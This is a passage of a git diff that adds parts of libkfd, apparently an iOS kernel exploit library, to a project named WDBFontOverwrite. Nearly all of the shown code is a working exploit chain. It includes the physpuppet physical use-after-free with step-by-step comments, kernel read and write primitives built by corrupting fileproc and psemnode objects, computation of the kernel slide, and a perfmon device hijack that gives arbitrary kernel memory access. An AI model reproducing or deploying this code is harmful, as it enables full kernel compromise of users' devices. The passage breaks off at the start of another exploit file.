(i32*)(kfd->kread.krkw_method_data); + i32 kread_fd = fds[kfd->kread.krkw_object_id]; + u64 psemnode_uaddr = kfd->kread.krkw_object_uaddr; + + u64 old_pinfo = ((volatile struct psemnode*)(psemnode_uaddr))->pinfo; + u64 new_pinfo = kaddr - kfd_offset(pseminfo__psem_usecount); + ((volatile struct psemnode*)(psemnode_uaddr))->pinfo = new_pinfo; + + struct psem_fdinfo data = {}; + i32 callnum = PROC_INFO_CALL_PIDFDINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = PROC_PIDFDPSEMINFO; + u64 arg = kread_fd; + u64 buffer = (u64)(&data); + i32 buffersize = (i32)(sizeof(struct psem_fdinfo)); + assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); + + ((volatile struct psemnode*)(psemnode_uaddr))->pinfo = old_pinfo; + return *(u32*)(&data.pseminfo.psem_stat.vst_size); +} + +#endif /* kread_sem_open_h */ diff --git a/WDBFontOverwrite/libkfd/krkw/kwrite/kwrite_dup.h b/WDBFontOverwrite/libkfd/krkw/kwrite/kwrite_dup.h new file mode 100644 index 0000000..4fa6e2d --- /dev/null +++ b/WDBFontOverwrite/libkfd/krkw/kwrite/kwrite_dup.h @@ -0,0 +1,145 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef kwrite_dup_h +#define kwrite_dup_h + +void kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value); + +void kwrite_dup_init(struct kfd* kfd) +{ + kfd->kwrite.krkw_maximum_id = kfd->info.env.maxfilesperproc - 100; + kfd->kwrite.krkw_object_size = sizeof(struct fileproc); + + kfd->kwrite.krkw_method_data_size = ((kfd->kwrite.krkw_maximum_id + 1) * (sizeof(i32))); + kfd->kwrite.krkw_method_data = malloc_bzero(kfd->kwrite.krkw_method_data_size); + + i32 kqueue_fd = kqueue(); + assert(kqueue_fd > 0); + + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + fds[kfd->kwrite.krkw_maximum_id] = kqueue_fd; +} + +void kwrite_dup_allocate(struct kfd* kfd, u64 id) +{ + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + i32 kqueue_fd = fds[kfd->kwrite.krkw_maximum_id]; + i32 fd = dup(kqueue_fd); + assert(fd > 0); + fds[id] = fd; +} + +bool kwrite_dup_search(struct kfd* kfd, u64 object_uaddr) +{ + volatile struct fileproc* fp = (volatile struct fileproc*)(object_uaddr); + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + + if ((fp->fp_iocount == 1) && + (fp->fp_vflags == 0) && + (fp->fp_flags == 0) && + (fp->fp_guard_attrs == 0) && + (fp->fp_glob > ptr_mask) && + (fp->fp_guard == 0)) { + for (u64 object_id = kfd->kwrite.krkw_searched_id; object_id < kfd->kwrite.krkw_allocated_id; object_id++) { + assert_bsd(fcntl(fds[object_id], F_SETFD, FD_CLOEXEC)); + + if (fp->fp_flags == 1) { + kfd->kwrite.krkw_object_id = object_id; + return true; + } + + assert_bsd(fcntl(fds[object_id], F_SETFD, 0)); + } + + /* + * False alarm: it wasn't one of our fileproc objects. + */ + print_warning("failed to find modified fp_flags sentinel"); + } + + return false; +} + +void kwrite_dup_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size) +{ + kwrite_from_method(u64, kwrite_dup_kwrite_u64); +} + +void kwrite_dup_find_proc(struct kfd* kfd) +{ + /* + * Assume that kread is responsible for that. + */ + return; +} + +void kwrite_dup_deallocate(struct kfd* kfd, u64 id) +{ + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + assert_bsd(close(fds[id])); +} + +void kwrite_dup_free(struct kfd* kfd) +{ + kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_object_id); + kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_maximum_id); +} + +/* + * 64-bit kwrite function. + */ + +void kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value) +{ + if (new_value == 0) { + print_warning("cannot write 0"); + return; + } + + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + i32 kwrite_fd = fds[kfd->kwrite.krkw_object_id]; + u64 fileproc_uaddr = kfd->kwrite.krkw_object_uaddr; + volatile struct fileproc* fp = (volatile struct fileproc*)(fileproc_uaddr); + + const bool allow_retry = true; + + do { + u64 old_value = 0; + kread((u64)(kfd), kaddr, &old_value, sizeof(old_value)); + + if (old_value == 0) { + print_warning("cannot overwrite 0"); + return; + } + + if (old_value == new_value) { + break; + } + + u16 old_fp_guard_attrs = fp->fp_guard_attrs; + u16 new_fp_guard_attrs = GUARD_REQUIRED; + fp->fp_guard_attrs = new_fp_guard_attrs; + + u64 old_fp_guard = fp->fp_guard; + u64 new_fp_guard = kaddr - kfd_offset(fileproc_guard__fpg_guard); + fp->fp_guard = new_fp_guard; + + u64 guard = old_value; + u32 guardflags = GUARD_REQUIRED; + u64 nguard = new_value; + u32 nguardflags = GUARD_REQUIRED; + + if (allow_retry) { + syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL); + } else { + assert_bsd(syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL)); + } + + fp->fp_guard_attrs = old_fp_guard_attrs; + fp->fp_guard = old_fp_guard; + } while (allow_retry); +} + +#endif /* kwrite_dup_h */ diff --git a/WDBFontOverwrite/libkfd/krkw/kwrite/kwrite_sem_open.h b/WDBFontOverwrite/libkfd/krkw/kwrite/kwrite_sem_open.h new file mode 100644 index 0000000..115bf69 --- /dev/null +++ b/WDBFontOverwrite/libkfd/krkw/kwrite/kwrite_sem_open.h @@ -0,0 +1,86 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef kwrite_sem_open_h +#define kwrite_sem_open_h + +void kwrite_sem_open_init(struct kfd* kfd) +{ + kfd->kwrite.krkw_maximum_id = kfd->kread.krkw_maximum_id; + kfd->kwrite.krkw_object_size = sizeof(struct fileproc); + + kfd->kwrite.krkw_method_data_size = kfd->kread.krkw_method_data_size; + kfd->kwrite.krkw_method_data = kfd->kread.krkw_method_data; +} + +void kwrite_sem_open_allocate(struct kfd* kfd, u64 id) +{ + if (id == 0) { + id = kfd->kwrite.krkw_allocated_id = kfd->kread.krkw_allocated_id; + if (kfd->kwrite.krkw_allocated_id == kfd->kwrite.krkw_maximum_id) { + /* + * Decrement krkw_allocated_id to account for increment in + * krkw_helper_run_allocate(), because we return without allocating. + */ + kfd->kwrite.krkw_allocated_id--; + return; + } + } + + /* + * Just piggyback. + */ + kread_sem_open_allocate(kfd, id); +} + +bool kwrite_sem_open_search(struct kfd* kfd, u64 object_uaddr) +{ + /* + * Just piggyback. + */ + return kwrite_dup_search(kfd, object_uaddr); +} + +void kwrite_sem_open_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size) +{ + /* + * Just piggyback. + */ + kwrite_dup_kwrite(kfd, uaddr, kaddr, size); +} + +void kwrite_sem_open_find_proc(struct kfd* kfd) +{ + /* + * Assume that kread is responsible for that. + */ + return; +} + +void kwrite_sem_open_deallocate(struct kfd* kfd, u64 id) +{ + /* + * Skip the deallocation for the kread object because we are + * responsible for deallocating all the shared file descriptors. + */ + if (id != kfd->kread.krkw_object_id) { + i32* fds = (i32*)(kfd->kwrite.krkw_method_data); + assert_bsd(close(fds[id])); + } +} + +void kwrite_sem_open_free(struct kfd* kfd) +{ + /* + * Note that we are responsible to deallocate the kread object, but we must + * discard its object id because of the check in kwrite_sem_open_deallocate(). + */ + u64 kread_id = kfd->kread.krkw_object_id; + kfd->kread.krkw_object_id = (-1); + kwrite_sem_open_deallocate(kfd, kread_id); + kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_object_id); + kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_maximum_id); +} + +#endif /* kwrite_sem_open_h */ diff --git a/WDBFontOverwrite/libkfd/perf.h b/WDBFontOverwrite/libkfd/perf.h new file mode 100644 index 0000000..cc1b25a --- /dev/null +++ b/WDBFontOverwrite/libkfd/perf.h @@ -0,0 +1,311 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef perf_h +#define perf_h + +// Forward declarations for helper functions. +u64 phystokv(struct kfd* kfd, u64 pa); +u64 vtophys(struct kfd* kfd, u64 va); + +void perf_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size) +{ + assert((size != 0) && (size <= UINT16_MAX)); + assert(kfd->perf.shared_page.uaddr); + assert(kfd->perf.shared_page.kaddr); + + volatile struct perfmon_config* config = (volatile struct perfmon_config*)(kfd->perf.shared_page.uaddr); + *config = (volatile struct perfmon_config){}; + config->pc_spec.ps_events = (struct perfmon_event*)(kaddr); + config->pc_spec.ps_event_count = (u16)(size); + + struct perfmon_spec spec_buffer = {}; + spec_buffer.ps_events = (struct perfmon_event*)(uaddr); + spec_buffer.ps_event_count = (u16)(size); + assert_bsd(ioctl(kfd->perf.dev.fd, PERFMON_CTL_SPECIFY, &spec_buffer)); + + *config = (volatile struct perfmon_config){}; +} + +void perf_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size) +{ + assert((size != 0) && ((size % sizeof(u64)) == 0)); + assert(kfd->perf.shared_page.uaddr); + assert(kfd->perf.shared_page.kaddr); + + volatile struct perfmon_config* config = (volatile struct perfmon_config*)(kfd->perf.shared_page.uaddr); + volatile struct perfmon_source* source = (volatile struct perfmon_source*)(kfd->perf.shared_page.uaddr + sizeof(*config)); + volatile struct perfmon_event* event = (volatile struct perfmon_event*)(kfd->perf.shared_page.uaddr + sizeof(*config) + sizeof(*source)); + + u64 source_kaddr = kfd->perf.shared_page.kaddr + sizeof(*config); + u64 event_kaddr = kfd->perf.shared_page.kaddr + sizeof(*config) + sizeof(*source); + + for (u64 i = 0; i < (size / sizeof(u64)); i++) { + *config = (volatile struct perfmon_config){}; + *source = (volatile struct perfmon_source){}; + *event = (volatile struct perfmon_event){}; + + config->pc_source = (struct perfmon_source*)(source_kaddr); + config->pc_spec.ps_events = (struct perfmon_event*)(event_kaddr); + config->pc_counters = (struct perfmon_counter*)(kaddr + (i * sizeof(u64))); + + source->ps_layout.pl_counter_count = 1; + source->ps_layout.pl_fixed_offset = 1; + + struct perfmon_event event_buffer = {}; + u64 kvalue = ((volatile u64*)(uaddr))[i]; + event_buffer.pe_number = kvalue; + assert_bsd(ioctl(kfd->perf.dev.fd, PERFMON_CTL_ADD_EVENT, &event_buffer)); + } + + *config = (volatile struct perfmon_config){}; + *source = (volatile struct perfmon_source){}; + *event = (volatile struct perfmon_event){}; +} + +void perf_init(struct kfd* kfd) +{ + /* + * Allocate a page that will be used as a shared buffer between user space and kernel space. + */ + vm_address_t shared_page_address = 0; + vm_size_t shared_page_size = pages(1); + assert_mach(vm_allocate(mach_task_self(), &shared_page_address, shared_page_size, VM_FLAGS_ANYWHERE)); + memset((void*)(shared_page_address), 0, shared_page_size); + kfd->perf.shared_page.uaddr = shared_page_address; + kfd->perf.shared_page.size = shared_page_size; + + /* + * Open a "/dev/aes_0" descriptor, then use it to find the kernel slide. + */ + kfd->perf.dev.fd = open("/dev/aes_0", O_RDWR); + assert(kfd->perf.dev.fd > 0); +} + +void perf_run(struct kfd* kfd) +{ + assert(kfd->info.kaddr.current_proc); + u64 fd_ofiles = kget_u64(proc__p_fd__fd_ofiles, kfd->info.kaddr.current_proc); + u64 fileproc_kaddr = unsign_kaddr(fd_ofiles) + (kfd->perf.dev.fd * sizeof(u64)); + u64 fileproc = 0; + kread((u64)(kfd), fileproc_kaddr, &fileproc, sizeof(fileproc)); + u64 fp_glob_kaddr = fileproc + offsetof(struct fileproc, fp_glob); + u64 fp_glob = 0; + kread((u64)(kfd), fp_glob_kaddr, &fp_glob, sizeof(fp_glob)); + u64 fg_ops = kget_u64(fileglob__fg_ops, unsign_kaddr(fp_glob)); + u64 fo_kqfilter = kget_u64(fileops__fo_kqfilter, unsign_kaddr(fg_ops)); + u64 vn_kqfilter = unsign_kaddr(fo_kqfilter); + u64 kernel_slide = vn_kqfilter - kfd_offset(kernelcache__vn_kqfilter); + u64 kernel_base = kfd_offset(kernelcache__kernel_base) + kernel_slide; + kfd->perf.kernel_slide = kernel_slide; + print_x64(kfd->perf.kernel_slide); + + if (kfd->kread.krkw_method_ops.kread == kread_sem_open_kread) { + u32 mh_header[2] = {}; + mh_header[0] = kread_sem_open_kread_u32(kfd, kernel_base); + mh_header[1] = kread_sem_open_kread_u32(kfd, kernel_base + 4); + assert(mh_header[0] == 0xfeedfacf); + assert(mh_header[1] == 0x0100000c); + } + + /* + * Corrupt the "/dev/aes_0" descriptor into a "/dev/perfmon_core" descriptor. + */ + u64 fg_data = kget_u64(fileglob__fg_data, unsign_kaddr(fp_glob)); + u64 v_specinfo = kget_u64(vnode__v_un__vu_specinfo, unsign_kaddr(fg_data)); + kfd->perf.dev.si_rdev_kaddr = unsign_kaddr(v_specinfo) + kfd_offset(specinfo__si_rdev); + kread((u64)(kfd), kfd->perf.dev.si_rdev_kaddr, &kfd->perf.dev.si_rdev_buffer, sizeof(kfd->perf.dev.si_rdev_buffer)); + + u64 cdevsw_kaddr = kfd_offset(kernelcache__cdevsw) + kernel_slide; + u64 perfmon_dev_open_kaddr = kfd_offset(kernelcache__perfmon_dev_open) + kernel_slide; + u64 cdevsw[14] = {}; + u32 dev_new_major = 0; + for (u64 dmaj = 0; dmaj < 64; dmaj++) { + u64 kaddr = cdevsw_kaddr + (dmaj * sizeof(cdevsw)); + kread((u64)(kfd), kaddr, &cdevsw, sizeof(cdevsw)); + u64 d_open = unsign_kaddr(cdevsw[0]); + if (d_open == perfmon_dev_open_kaddr) { + dev_new_major = (dmaj << 24); + break; + } + } + + u32 new_si_rdev_buffer[2] = {}; + new_si_rdev_buffer[0] = dev_new_major; + new_si_rdev_buffer[1] = kfd->perf.dev.si_rdev_buffer[1] + 1; + kwrite((u64)(kfd), &new_si_rdev_buffer, kfd->perf.dev.si_rdev_kaddr, sizeof(new_si_rdev_buffer)); + + /* + * Find ptov_table, gVirtBase, gPhysBase, gPhysSize, TTBR0 and TTBR1. + */ + u64 ptov_table_kaddr = kfd_offset(kernelcache__ptov_table) + kernel_slide; + kread((u64)(kfd), ptov_table_kaddr, &kfd->perf.ptov_table, sizeof(kfd->perf.ptov_table)); + + u64 gVirtBase_kaddr = kfd_offset(kernelcache__gVirtBase) + kernel_slide; + kread((u64)(kfd), gVirtBase_kaddr, &kfd->perf.gVirtBase, sizeof(kfd->perf.gVirtBase)); + print_x64(kfd->perf.gVirtBase); + + u64 gPhysBase_kaddr = kfd_offset(kernelcache__gPhysBase) + kernel_slide; + kread((u64)(kfd), gPhysBase_kaddr, &kfd->perf.gPhysBase, sizeof(kfd->perf.gPhysBase)); + print_x64(kfd->perf.gPhysBase); + + u64 gPhysSize_kaddr = kfd_offset(kernelcache__gPhysSize) + kernel_slide; + kread((u64)(kfd), gPhysSize_kaddr, &kfd->perf.gPhysSize, sizeof(kfd->perf.gPhysSize)); + print_x64(kfd->perf.gPhysSize); + + assert(kfd->info.kaddr.current_pmap); + kfd->perf.ttbr[0].va = kget_u64(pmap__tte, kfd->info.kaddr.current_pmap); + kfd->perf.ttbr[0].pa = kget_u64(pmap__ttep, kfd->info.kaddr.current_pmap); + assert(phystokv(kfd, kfd->perf.ttbr[0].pa) == kfd->perf.ttbr[0].va); + + assert(kfd->info.kaddr.kernel_pmap); + kfd->perf.ttbr[1].va = kget_u64(pmap__tte, kfd->info.kaddr.kernel_pmap); + kfd->perf.ttbr[1].pa = kget_u64(pmap__ttep, kfd->info.kaddr.kernel_pmap); + assert(phystokv(kfd, kfd->perf.ttbr[1].pa) == kfd->perf.ttbr[1].va); + + /* + * Find the shared page in kernel space. + */ + kfd->perf.shared_page.paddr = vtophys(kfd, kfd->perf.shared_page.uaddr); + kfd->perf.shared_page.kaddr = phystokv(kfd, kfd->perf.shared_page.paddr); + + /* + * Set up the perfmon device use for the master kread and kwrite: + * - perfmon_devices[0][0].pmdv_config = kfd->perf.shared_page.kaddr + * - perfmon_devices[0][0].pmdv_allocated = true + */ + struct perfmon_device perfmon_device = {}; + u64 perfmon_device_kaddr = kfd_offset(kernelcache__perfmon_devices) + kernel_slide; + u8* perfmon_device_uaddr = (u8*)(&perfmon_device); + kread((u64)(kfd), perfmon_device_kaddr, &perfmon_device, sizeof(perfmon_device)); + + perfmon_device.pmdv_mutex[1] = (-1); + perfmon_device.pmdv_config = (struct perfmon_config*)(kfd->perf.shared_page.kaddr); + perfmon_device.pmdv_allocated = true; + + kwrite((u64)(kfd), perfmon_device_uaddr + 12, perfmon_device_kaddr + 12, sizeof(u64)); + ((volatile u32*)(perfmon_device_uaddr))[4] = 0; + kwrite((u64)(kfd), perfmon_device_uaddr + 16, perfmon_device_kaddr + 16, sizeof(u64)); + ((volatile u32*)(perfmon_device_uaddr))[5] = 0; + kwrite((u64)(kfd), perfmon_device_uaddr + 20, perfmon_device_kaddr + 20, sizeof(u64)); + kwrite((u64)(kfd), perfmon_device_uaddr + 24, perfmon_device_kaddr + 24, sizeof(u64)); + kwrite((u64)(kfd), perfmon_device_uaddr + 28, perfmon_device_kaddr + 28, sizeof(u64)); + + kfd->perf.saved_kread = kfd->kread.krkw_method_ops.kread; + kfd->perf.saved_kwrite = kfd->kwrite.krkw_method_ops.kwrite; + kfd->kread.krkw_method_ops.kread = perf_kread; + kfd->kwrite.krkw_method_ops.kwrite = perf_kwrite; +} + +void perf_free(struct kfd* kfd) +{ + kfd->kread.krkw_method_ops.kread = kfd->perf.saved_kread; + kfd->kwrite.krkw_method_ops.kwrite = kfd->perf.saved_kwrite; + + /* + * Restore the "/dev/perfmon_core" descriptor back to the "/dev/aes_0" descriptor. + * Then, close it and deallocate the shared page. + * This leaves the first perfmon device "pmdv_allocated", which is fine. + */ + kwrite((u64)(kfd), &kfd->perf.dev.si_rdev_buffer, kfd->perf.dev.si_rdev_kaddr, sizeof(kfd->perf.dev.si_rdev_buffer)); + assert_bsd(close(kfd->perf.dev.fd)); + assert_mach(vm_deallocate(mach_task_self(), kfd->perf.shared_page.uaddr, kfd->perf.shared_page.size)); +} + +/* + * Helper perf functions. + */ + +u64 phystokv(struct kfd* kfd, u64 pa) +{ + const u64 PTOV_TABLE_SIZE = 8; + const u64 gVirtBase = kfd->perf.gVirtBase; + const u64 gPhysBase = kfd->perf.gPhysBase; + const u64 gPhysSize = kfd->perf.gPhysSize; + const struct ptov_table_entry* ptov_table = &kfd->perf.ptov_table[0]; + + for (u64 i = 0; (i < PTOV_TABLE_SIZE) && (ptov_table[i].len != 0); i++) { + if ((pa >= ptov_table[i].pa) && (pa < (ptov_table[i].pa + ptov_table[i].len))) { + return pa - ptov_table[i].pa + ptov_table[i].va; + } + } + +// assert(!((pa < gPhysBase) || ((pa - gPhysBase) >= gPhysSize))); + return pa - gPhysBase + gVirtBase; +} + +u64 vtophys(struct kfd* kfd, u64 va) +{ + const u64 ROOT_LEVEL = PMAP_TT_L1_LEVEL; + const u64 LEAF_LEVEL = PMAP_TT_L3_LEVEL; + + u64 pa = 0; + u64 tt_kaddr = (va >> 63) ? kfd->perf.ttbr[1].va : kfd->perf.ttbr[0].va; + + for (u64 cur_level = ROOT_LEVEL; cur_level <= LEAF_LEVEL; cur_level++) { + u64 offmask, shift, index_mask, valid_mask, type_mask, type_block; + switch (cur_level) { + case PMAP_TT_L0_LEVEL: { + offmask = ARM_16K_TT_L0_OFFMASK; + shift = ARM_16K_TT_L0_SHIFT; + index_mask = ARM_16K_TT_L0_INDEX_MASK; + valid_mask = ARM_TTE_VALID; + type_mask = ARM_TTE_TYPE_MASK; + type_block = ARM_TTE_TYPE_BLOCK; + break; + } + case PMAP_TT_L1_LEVEL: { + offmask = ARM_16K_TT_L1_OFFMASK; + shift = ARM_16K_TT_L1_SHIFT; + index_mask = ARM_16K_TT_L1_INDEX_MASK; + valid_mask = ARM_TTE_VALID; + type_mask = ARM_TTE_TYPE_MASK; + type_block = ARM_TTE_TYPE_BLOCK; + break; + } + case PMAP_TT_L2_LEVEL: { + offmask = ARM_16K_TT_L2_OFFMASK; + shift = ARM_16K_TT_L2_SHIFT; + index_mask = ARM_16K_TT_L2_INDEX_MASK; + valid_mask = ARM_TTE_VALID; + type_mask = ARM_TTE_TYPE_MASK; + type_block = ARM_TTE_TYPE_BLOCK; + break; + } + case PMAP_TT_L3_LEVEL: { + offmask = ARM_16K_TT_L3_OFFMASK; + shift = ARM_16K_TT_L3_SHIFT; + index_mask = ARM_16K_TT_L3_INDEX_MASK; + valid_mask = ARM_PTE_TYPE_VALID; + type_mask = ARM_PTE_TYPE_MASK; + type_block = ARM_TTE_TYPE_L3BLOCK; + break; + } + default: { + assert_false("bad pmap tt level"); + return 0; + } + } + + u64 tte_index = (va & index_mask) >> shift; + u64 tte_kaddr = tt_kaddr + (tte_index * sizeof(u64)); + u64 tte = 0; + kread((u64)(kfd), tte_kaddr, &tte, sizeof(tte)); + + if ((tte & valid_mask) != valid_mask) { + return 0; + } + + if ((tte & type_mask) == type_block) { + pa = ((tte & ARM_TTE_PA_MASK & ~offmask) | (va & offmask)); + break; + } + + tt_kaddr = phystokv(kfd, tte & ARM_TTE_TABLE_MASK); + } + + return pa; +} + +#endif /* perf_h */ diff --git a/WDBFontOverwrite/libkfd/puaf.h b/WDBFontOverwrite/libkfd/puaf.h new file mode 100644 index 0000000..1bd41de --- /dev/null +++ b/WDBFontOverwrite/libkfd/puaf.h @@ -0,0 +1,157 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef puaf_h +#define puaf_h + +// Forward declarations for helper functions. +void puaf_helper_get_vm_map_first_and_last(u64* first_out, u64* last_out); +void puaf_helper_get_vm_map_min_and_max(u64* min_out, u64* max_out); +void puaf_helper_give_ppl_pages(void); + +#include "puaf/physpuppet.h" +#include "puaf/smith.h" + +#define puaf_method_case(method) \ + case puaf_##method: { \ + const char* method_name = #method; \ + print_string(method_name); \ + kfd->puaf.puaf_method_ops.init = method##_init; \ + kfd->puaf.puaf_method_ops.run = method##_run; \ + kfd->puaf.puaf_method_ops.cleanup = method##_cleanup; \ + kfd->puaf.puaf_method_ops.free = method##_free; \ + break; \ + } + +void puaf_init(struct kfd* kfd, u64 puaf_pages, u64 puaf_method) +{ + kfd->puaf.number_of_puaf_pages = puaf_pages; + kfd->puaf.puaf_pages_uaddr = (u64*)(malloc_bzero(kfd->puaf.number_of_puaf_pages * sizeof(u64))); + + switch (puaf_method) { + puaf_method_case(physpuppet) + puaf_method_case(smith) + } + + kfd->puaf.puaf_method_ops.init(kfd); +} + +void puaf_run(struct kfd* kfd) +{ + puaf_helper_give_ppl_pages(); + + timer_start(); + kfd->puaf.puaf_method_ops.run(kfd); + timer_end(); +} + +void puaf_cleanup(struct kfd* kfd) +{ + timer_start(); + kfd->puaf.puaf_method_ops.cleanup(kfd); + timer_end(); +} + +void puaf_free(struct kfd* kfd) +{ + kfd->puaf.puaf_method_ops.free(kfd); + + bzero_free(kfd->puaf.puaf_pages_uaddr, kfd->puaf.number_of_puaf_pages * sizeof(u64)); + + if (kfd->puaf.puaf_method_data) { + bzero_free(kfd->puaf.puaf_method_data, kfd->puaf.puaf_method_data_size); + } +} + +/* + * Helper puaf functions. + */ + +void puaf_helper_get_vm_map_first_and_last(u64* first_out, u64* last_out) +{ + u64 first_address = 0; + u64 last_address = 0; + + vm_address_t address = 0; + vm_size_t size = 0; + vm_region_basic_info_data_64_t data = {}; + vm_region_info_t info = (vm_region_info_t)(&data); + mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64; + mach_port_t port = MACH_PORT_NULL; + + while (true) { + kern_return_t kret = vm_region_64(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO_64, info, &count, &port); + if (kret == KERN_INVALID_ADDRESS) { + last_address = address; + break; + } + + assert(kret == KERN_SUCCESS); + + if (!first_address) { + first_address = address; + } + + address += size; + size = 0; + } + + *first_out = first_address; + *last_out = last_address; +} + +void puaf_helper_get_vm_map_min_and_max(u64* min_out, u64* max_out) +{ + task_vm_info_data_t data = {}; + task_info_t info = (task_info_t)(&data); + mach_msg_type_number_t count = TASK_VM_INFO_COUNT; + assert_mach(task_info(mach_task_self(), TASK_VM_INFO, info, &count)); + + *min_out = data.min_address; + *max_out = data.max_address; +} + +void puaf_helper_give_ppl_pages(void) +{ + timer_start(); + + const u64 given_ppl_pages_max = 10000; + const u64 l2_block_size = (1ull << 25); + + vm_address_t addresses[given_ppl_pages_max] = {}; + vm_address_t address = 0; + u64 given_ppl_pages = 0; + + u64 min_address, max_address; + puaf_helper_get_vm_map_min_and_max(&min_address, &max_address); + + while (true) { + address += l2_block_size; + if (address < min_address) { + continue; + } + + if (address >= max_address) { + break; + } + + kern_return_t kret = vm_allocate(mach_task_self(), &address, pages(1), VM_FLAGS_FIXED); + if (kret == KERN_SUCCESS) { + memset((void*)(address), 'A', 1); + addresses[given_ppl_pages] = address; + if (++given_ppl_pages == given_ppl_pages_max) { + break; + } + } + } + + for (u64 i = 0; i < given_ppl_pages; i++) { + assert_mach(vm_deallocate(mach_task_self(), addresses[i], pages(1))); + } + + print_u64(given_ppl_pages); + timer_end(); +} + +#endif /* puaf_h */ diff --git a/WDBFontOverwrite/libkfd/puaf/physpuppet.h b/WDBFontOverwrite/libkfd/puaf/physpuppet.h new file mode 100644 index 0000000..f481760 --- /dev/null +++ b/WDBFontOverwrite/libkfd/puaf/physpuppet.h @@ -0,0 +1,117 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef physpuppet_h +#define physpuppet_h + +const u64 physpuppet_vmne_size = pages(2) + 1; +const u64 physpuppet_vme_offset = pages(1); +const u64 physpuppet_vme_size = pages(2); + +void physpuppet_init(struct kfd* kfd) +{ + /* + * Nothing to do. + */ + return; +} + +void physpuppet_run(struct kfd* kfd) +{ + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + /* + * STEP 1: + * + * Create a vm_named_entry. It will be backed by a vm_object with a + * vo_size of 3 pages and an initial ref_count of 1. + */ + mach_port_t named_entry = MACH_PORT_NULL; + assert_mach(mach_memory_object_memory_entry_64(mach_host_self(), true, physpuppet_vmne_size, VM_PROT_DEFAULT, MEMORY_OBJECT_NULL, &named_entry)); + + /* + * STEP 2: + * + * Map the vm_named_entry into our vm_map. This will create a + * vm_map_entry with a vme_start that is page-aligned, but a vme_end + * that is not (vme_end = vme_start + 1 page + 1 byte). The new + * vm_map_entry's vme_object is shared with the vm_named_entry, and + * therefore its ref_count goes up to 2. Finally, the new vm_map_entry's + * vme_offset is 1 page. + */ + vm_address_t address = 0; + assert_mach(vm_map(mach_task_self(), &address, (-1), 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, named_entry, physpuppet_vme_offset, false, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT)); + + /* + * STEP 3: + * + * Fault in both pages covered by the vm_map_entry. This will populate + * the second and third vm_pages (by vmp_offset) of the vm_object. Most + * importantly, this will set the two L3 PTEs covered by that virtual + * address range with read and write permissions. + */ + memset((void*)(address), 'A', physpuppet_vme_size); + + /* + * STEP 4: + * + * Unmap that virtual address range. Crucially, when vm_map_delete() + * calls pmap_remove_options(), only the first L3 PTE gets cleared. The + * vm_map_entry is deallocated and therefore the vm_object's ref_count + * goes down to 1. + */ + assert_mach(vm_deallocate(mach_task_self(), address, physpuppet_vme_size)); + + /* + * STEP 5: + * + * Destroy the vm_named_entry. The vm_object's ref_count drops to 0 and + * therefore is reaped. This will put all of its vm_pages on the free + * list without calling pmap_disconnect(). + */ + assert_mach(mach_port_deallocate(mach_task_self(), named_entry)); + kfd->puaf.puaf_pages_uaddr[i] = address + physpuppet_vme_offset; + + /* + * STEP 6: + * + * At this point, we have a dangling L3 PTE. However, there's a + * discrepancy between the vm_map and the pmap. If not fixed, it will + * cause a panic when the process exits. Therefore, we need to reinsert + * a vm_map_entry in that virtual address range. We also need to fault + * in the first page to populate the vm_object. Otherwise, + * vm_map_delete() won't call pmap_remove_options() on exit. But we + * don't fault in the second page to avoid overwriting our dangling PTE. + */ + assert_mach(vm_allocate(mach_task_self(), &address, physpuppet_vme_size, VM_FLAGS_FIXED)); + memset((void*)(address), 'A', physpuppet_vme_offset); + } +} + +void physpuppet_cleanup(struct kfd* kfd) +{ + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i]; + if ((puaf_page_uaddr == kread_page_uaddr) || (puaf_page_uaddr == kwrite_page_uaddr)) { + continue; + } + + assert_mach(vm_deallocate(mach_task_self(), puaf_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size)); + } +} + +void physpuppet_free(struct kfd* kfd) +{ + u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr); + u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr); + + assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size)); + if (kwrite_page_uaddr != kread_page_uaddr) { + assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size)); + } +} + +#endif /* physpuppet_h */ diff --git a/WDBFontOverwrite/libkfd/puaf/smith.h b/WDBFontOverwrite/libkfd/puaf/smith.h new 